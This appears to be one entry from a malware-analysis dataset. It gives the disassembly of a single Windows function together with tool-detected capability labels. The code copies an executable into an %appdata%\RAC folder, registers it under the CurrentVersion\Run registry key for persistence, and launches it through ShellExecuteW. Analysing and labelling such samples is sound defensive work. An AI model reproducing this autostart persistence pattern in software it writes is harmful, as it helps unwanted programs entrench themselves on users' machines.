Function at 0x40a2b0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Persist via run registry key
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x493758
mov eax, dword fs:[0]
push eax
sub esp, 0x150
mov eax, dword [0x4aeea0]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
push esi
push edi
mov eax, dword [0x4aeea0]
xor eax, esp
push eax
lea eax, [esp + 0x160]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
push ebx
mov dword [esp + 0xc8], eax
mov dword [esp + 0x60], ebx
call fcn.0045c058
add esp, 4
mov esi, eax
push ebx
mov dword [esp + 0x64], edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add eax, esi
push eax
call fcn.0045c048
add esp, 4
push 3
call fcn.0040f9f0
add esp, 4
lea ecx, [esp + 0x140]
call fcn.0040dbd0
lea edx, [esp + 0x140]
lea ecx, [esp + 0x110]
mov dword [esp + 0x168], ebx
call fcn.0040d130
mov byte [esp + 0x168], 1
call fcn.0045c025
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0040a220
mov edi, eax
mov byte [esp + 0x168], 2
call fcn.0045c025
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.0040a220
mov esi, eax
mov byte [esp + 0x168], 3
push 0xd
xor eax, eax
push str._appdata_RAC
lea ecx, [esp + 0x4c]
mov dword [esp + 0x60], 7
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], ax
call fcn.00403710
push 0x4a4828
lea edx, [esp + 0x48]
lea ecx, [esp + 0x80]
mov byte [esp + 0x16c], 4
call fcn.00409ee0
add esp, 4
push esi
mov edx, eax
lea ecx, [esp + 0x98]
mov byte [esp + 0x16c], 5
call fcn.0040adb0
add esp, 4
push edi
mov edx, eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x16c], 6
call fcn.0040adb0
add esp, 4
push str._ml.log
mov edx, eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x16c], 7
call fcn.00409ee0
add esp, 4
mov byte [esp + 0x168], 8
mov edx, eax
lea ecx, [esp + 0x128]
call fcn.0040d260
cmp dword [esp + 0x78], 8
jb 0x40a448
push dword [esp + 0x64]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0x78], 7
mov dword [esp + 0x74], 0
mov word [esp + 0x64], ax
cmp dword [esp + 0xc0], 8
jb 0x40a478
push dword [esp + 0xac]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0xc0], 7
mov dword [esp + 0xbc], 0
mov word [esp + 0xac], ax
cmp dword [esp + 0xa8], 8
jb 0x40a4b1
push dword [esp + 0x94]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0xa8], 7
mov dword [esp + 0xa4], 0
mov word [esp + 0x94], ax
cmp dword [esp + 0x90], 8
jb 0x40a4e7
push dword [esp + 0x7c]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0x90], 7
mov dword [esp + 0x8c], 0
mov word [esp + 0x7c], ax
cmp dword [esp + 0x58], 8
jb 0x40a517
push dword [esp + 0x44]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0x58], 7
mov dword [esp + 0x54], 0
mov word [esp + 0x44], ax
cmp dword [esp + 0x40], 8
jb 0x40a541
push dword [esp + 0x2c]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0x40], 7
mov dword [esp + 0x3c], 0
mov word [esp + 0x2c], ax
mov byte [esp + 0x168], 0x10
cmp dword [esp + 0x28], 8
jb 0x40a573
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0
mov word [esp + 0x14], ax
cmp esi, 1
jle 0x40a769
mov ebx, dword [esp + 0xc4]
mov dword [esp + 0xf4], 7
mov edx, dword [ebx + 4]
mov dword [esp + 0xf0], eax
mov word [esp + 0xe0], ax
cmp word [edx], ax
jne 0x40a5c3
xor ecx, ecx
jmp 0x40a5df
mov ecx, edx
lea edi, [ecx + 2]
jmp 0x40a5d0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a5d0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0xe8]
call fcn.00403710
push 3
push 0x4a493c
mov byte [esp + 0x170], 0x11
push dword [esp + 0xf8]
push ecx
lea ecx, [esp + 0xf0]
call fcn.00404dd0
test eax, eax
jne 0x40a6a4
cmp esi, 4
jl 0x40a6a4
push dword [ebx + 0xc]
lea ecx, [esp + 0x30]
call fcn.004028f0
mov esi, eax
mov byte [esp + 0x168], 0x12
push dword [ebx + 8]
lea ecx, [esp + 0x18]
call fcn.004028f0
mov edx, esi
mov ecx, eax
mov byte [esp + 0x168], 0x13
call fcn.00408630
movzx esi, al
neg esi
sbb esi, esi
neg esi
dec esi
cmp dword [esp + 0x28], 8
jb 0x40a671
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
xor eax, eax
cmp dword [esp + 0x40], 8
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0
mov word [esp + 0x14], ax
jb 0x40a747
push dword [esp + 0x2c]
call fcn.0045b2a0
add esp, 4
jmp 0x40a747
push 3
push 0x4a4944
push dword [esp + 0xf8]
push ecx
lea ecx, [esp + 0xf0]
call fcn.00404dd0
test eax, eax
jne 0x40a702
cmp esi, 3
jl 0x40a702
push dword [ebx + 8]
lea ecx, [esp + 0x18]
call fcn.004028f0
mov ecx, eax
mov byte [esp + 0x168], 0x14
call fcn.00408450
movzx esi, al
neg esi
sbb esi, esi
neg esi
dec esi
cmp dword [esp + 0x28], 8
jb 0x40a747
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
jmp 0x40a747
push 2
push 0x4a494c
push dword [esp + 0xf8]
push ecx
lea ecx, [esp + 0xf0]
call fcn.00404dd0
test eax, eax
jne 0x40a725
xor cl, cl
jmp 0x40a740
mov edx, 0x4a4954
lea ecx, [esp + 0xe0]
call fcn.00404d80
test al, al
je 0x40ab87
mov cl, 1
call fcn.0040ac60
xor esi, esi
cmp dword [esp + 0xf4], 8
jb 0x40aba2
push dword [esp + 0xe0]
call fcn.0045b2a0
add esp, 4
jmp 0x40aba2
mov dword [esp + 0xd8], eax
push 0x15
xor eax, eax
push str._appdata_RACmls.exe
lea ecx, [esp + 0xd0]
mov dword [esp + 0xe4], 7
mov word [esp + 0xd0], ax
call fcn.00403710
lea edx, [esp + 0xc8]
lea ecx, [esp + 0xe0]
mov byte [esp + 0x168], 0x15
call fcn.0040d260
mov byte [esp + 0x168], 0x17
cmp dword [esp + 0xdc], 8
jb 0x40a7d4
push dword [esp + 0xc8]
call fcn.0045b2a0
add esp, 4
xor eax, eax
lea edx, [esp + 0xe0]
lea ecx, [esp + 0xf8]
mov dword [esp + 0xdc], 7
mov dword [esp + 0xd8], 0
mov word [esp + 0xc8], ax
call fcn.0040d130
mov byte [esp + 0x168], 0x18
push 3
xor eax, eax
push 0x4a4998
lea ecx, [esp + 0xd0]
mov dword [esp + 0xe4], 7
mov dword [esp + 0xe0], 0
mov word [esp + 0xd0], ax
call fcn.00403710
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x16c], 0x19
call fcn.0040ae70
add esp, 4
push 0x4a4988
mov edx, eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x16c], 0x1a
call fcn.00409ee0
add esp, 4
mov esi, eax
lea eax, [esp + 0xc4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x40a8e1
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x40a8a2
mov esi, dword [esi]
cmp dword [esp + 0xdc], 8
lea eax, [eax*2 + 2]
push eax
push esi
push 1
lea ecx, [esp + 0xd4]
cmovae ecx, dword [esp + 0xd4]
push 0
push ecx
push dword [esp + 0xd8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 0x28], 8
jb 0x40a8f4
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
xor eax, eax
cmp dword [esp + 0x40], 8
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0
mov word [esp + 0x14], ax
jb 0x40a91e
push dword [esp + 0x2c]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov byte [esp + 0x168], 0x18
cmp dword [esp + 0xdc], 8
mov dword [esp + 0x40], 7
mov dword [esp + 0x3c], 0
mov word [esp + 0x2c], ax
jb 0x40a956
push dword [esp + 0xc8]
call fcn.0045b2a0
add esp, 4
cmp dword [esp + 0xf4], 8
lea eax, [esp + 0xe0]
cmovae eax, dword [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40a985
lea ecx, [esp + 0xe0]
call fcn.00408450
call fcn.00408aa0
test al, al
jne 0x40a99a
xor cl, cl
call fcn.0040ac60
jmp 0x40ab4e
lea ecx, [esp + 0xc8]
call fcn.00407a60
mov byte [esp + 0x168], 0x1b
cmp dword [esp + 0xd8], 0
jbe 0x40ab35
cmp dword [esp + 0xdc], 8
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push 0
lea eax, [esp + 0xd4]
cmovae eax, dword [esp + 0xd4]
push eax
push str.open
push 0
call esi
lea ecx, [esp + 0x14]
call fcn.004022d0
mov edx, 0x4a49a0
mov ecx, eax
mov byte [esp + 0x168], 0x1c
call fcn.00404d80
mov byte [esp + 0x168], 0x1b
cmp dword [esp + 0x28], 8
mov byte [esp + 0x13], al
jb 0x40aa29
push dword [esp + 0x14]
call fcn.0045b2a0
mov al, byte [esp + 0x17]
add esp, 4
test al, al
je 0x40aa6d
cmp dword [esp + 0x10c], 8
push 0
lea ecx, [esp + 0xfc]
cmovae ecx, dword [esp + 0xfc]
cmp dword [esp + 0xf8], 8
push ecx
push 0x4a494c
lea eax, [esp + 0xec]
cmovae eax, dword [esp + 0xec]
push eax
push str.open
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1e
jmp 0x40aa80
lea ecx, [esp + 0x14]
call fcn.004022d0
push 0
push 0x4a49a0
mov byte [esp + 0x170], 0x1d
push dword [eax + 0x10]
or ebx, 1
push ecx
mov ecx, eax
mov dword [esp + 0x6c], ebx
call fcn.00404dd0
test eax, eax
jne 0x40aab6
mov byte [esp + 0x13], 1
dec esi
jne 0x40aabb
mov byte [esp + 0x13], 0
mov dword [esp + 0x168], 0x1b
test bl, 1
je 0x40aae1
and ebx, 0xfffffffe
cmp dword [esp + 0x28], 8
jb 0x40aae1
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
cmp byte [esp + 0x13], 0
je 0x40aaf1
push 0x3e8
call edi
jmp 0x40aa80
lea eax, [esp + 0xc8]
push eax
lea edx, [esp + 0x114]
lea ecx, [esp + 0x18]
call fcn.0040af30
add esp, 4
mov edx, eax
lea ecx, [esp + 0x140]
mov byte [esp + 0x168], 0x1e
call fcn.004021a0
cmp dword [esp + 0x28], 8
jb 0x40ab35
push dword [esp + 0x14]
call fcn.0045b2a0
add esp, 4
cmp dword [esp + 0xdc], 8
jb 0x40ab4e
push dword [esp + 0xc8]
call fcn.0045b2a0
add esp, 4
cmp dword [esp + 0x10c], 8
jb 0x40ab67
push dword [esp + 0xf8]
call fcn.0045b2a0
add esp, 4
xor eax, eax
mov dword [esp + 0x10c], 7
mov dword [esp + 0x108], 0
mov word [esp + 0xf8], ax
cmp dword [esp + 0xf4], 8
jb 0x40aba0
push dword [esp + 0xe0]
call fcn.0045b2a0
add esp, 4
xor esi, esi
cmp dword [esp + 0x13c], 8
jb 0x40abbb
push dword [esp + 0x128]
call fcn.0045b2a0
add esp, 4
xor eax, eax
cmp dword [esp + 0x124], 8
mov dword [esp + 0x13c], 7
mov dword [esp + 0x138], 0
mov word [esp + 0x128], ax
jb 0x40abf4
push dword [esp + 0x110]
call fcn.0045b2a0
add esp, 4
xor eax, eax
cmp dword [esp + 0x154], 8
mov dword [esp + 0x124], 7
mov dword [esp + 0x120], 0
mov word [esp + 0x110], ax
jb 0x40ac2d
push dword [esp + 0x140]
call fcn.0045b2a0
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x160]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x148]
xor ecx, esp
call fcn.0045a8cf
mov esp, ebp
pop ebp
ret